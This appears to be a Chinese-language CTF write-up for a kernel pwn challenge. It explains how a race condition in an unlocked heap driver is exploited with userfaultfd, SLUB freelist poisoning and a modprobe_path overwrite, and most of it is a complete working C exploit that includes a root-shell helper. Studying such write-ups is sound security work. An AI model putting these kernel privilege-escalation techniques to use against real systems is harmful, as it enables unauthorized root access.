前言
呜呜呜，这题不难，但是差不多一个多月没碰我的女朋友 kernel pwn 了，对我的 root 宝宝也是非常想念，可惜这题没有找到我的 root 宝宝，就偷了她的 flag。
哎有点生疏了，这题没看出来堆溢出，直接条件竞争打了，但感觉条件竞争打简单一些。
题目分析
内核版本 4.20.13
开了 smap/smep/kaslr
给了 config 配置文件，查看得到如下信息：
bash
# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_STATIC_USERMODEHELPER is not set所以这里的 slub obj 的 freelist 在头8字节，调试也是如此
然后题目实现了一个菜单堆，有增删改查的功能，漏洞主要全程没用上锁，但是我做完后去网上搜了一下，发现这题还有堆溢出，这里堆溢出就不说了，笔者是利用条件竞争做的：
网上说这里 offset 可以为负数，导致向上溢出:) 这里我看比较是 unsigned 的就没想着溢出，而且条件竞争也很明显
漏洞利用
整体比较简单，就不多说了，主要就记录一下关键点，其实这里利用方式还挺多的，毕竟堆块大小没有限制
初始想法 seq_operations + pt_regs 进行提权 【X 没有合适的 gadget】
这里讲下为啥失败，因为这里的 gadget 大多都是这样的：）这里找了好久的 gadget，没一个行的
可以看到这里的 pop r10; lea rsp, [r10-8] 导致了我们无法成功劫持 rsp, 除非泄漏内核栈地址，但是如果都可以泄漏内核栈地址了，就不用这样搞了
修改 freelist 劫持 modprobe_path
劫持 freelist 的时候，这里不要直接修改 freelist 为 modprobe_path，因为系统可能会分配堆块，这时候就会报错，为啥呢？话不多说，放图：
这里的 /sbin/xxx 肯定是个无效的地址啊，但是这里发现 modprobe_path 前面就是一片0区域，所以让 freelist 指向0区域即可
exp 如下：
c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
int fd;
int seq_fd;
uint64_t koffset;
uint64_t swapgs_kpti = 0xffffffff8120092e;
uint64_t magic_gadget = 0xffffffff811dad61; // add rsp, 0x38 ; ret
uint64_t pop_rdi = 0xffffffff81033de0; // : pop rdi ; ret;
uint64_t init_cred = 0xffffffff8183f380; // D init_cred
uint64_t commit_creds = 0xffffffff8104d220; // T commit_creds;
uint64_t modprobe_path = 0xffffffff8183f960;
struct request {
long long idx;
char* buf;
long long len;
long long off;
};
void add(long long idx, char* buf, long long len)
{
struct request req = { .idx = idx, .buf = buf, .len = len };
ioctl(fd, 0x30000, &req);
}
void dele(long long idx)
{
struct request req = { .idx = idx };
ioctl(fd, 0x30001, &req);
}
void kwrite(long long idx, char* buf, long long off, long len)
{
struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };
ioctl(fd, 0x30002, &req);
}
void kread(long long idx, char* buf, long long off, long len)
{
struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };
ioctl(fd, 0x30003, &req);
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000];
void* handler(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler");
dele(0);
open("/proc/self/stat", O_RDONLY);
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void* handler0(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler");
uint64_t* ptr = copy_src;
ptr[0] = modprobe_path-0x10;
dele(0);
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/pwn/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /home/pwn/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy"); // 非法格式的二进制文件
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /flag");
exit(0);
}
int main(int argc, char** argv, char** envp)
{
fd = open("/dev/hackme", O_RDONLY);
char buf[0x300] = { 0 };
add(0, buf, 0x20);
void* uffd_buf;
pthread_t moniter_thr;
uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(&moniter_thr, uffd_buf, 0x1000, handler);
kread(0, uffd_buf, 0, 0x20);
binary_dump("seq_operations data", uffd_buf, 0x20);
koffset = *(uint64_t*)(uffd_buf + 8) - 0xffffffff810d30e0;
modprobe_path += koffset;
hexx("koffset", koffset);
hexx("modprobe_path", modprobe_path);
add(0, buf, 0x80);
void* uffd_buf0;
pthread_t moniter_thr0;
uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(&moniter_thr0, uffd_buf0, 0x1000, handler0);
kwrite(0, uffd_buf0, 0, 0x8);
/*
__asm__(
"mov r15, 0xdeadbeef;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
*/
puts("[+] hajick modprobe_path");
add(1, buf, 0x80);
char* cmd = "/home/pwn/x";
strncpy(buf+0x10, cmd, strlen(cmd));
add(2, buf, 0x80);
get_flag();
puts("[+] EXP NEVER END");
return 0;
}效果如下：
总结
好久没碰 kernel pwn，写 exp 很不熟练了，期末后再练练，复现一些 cve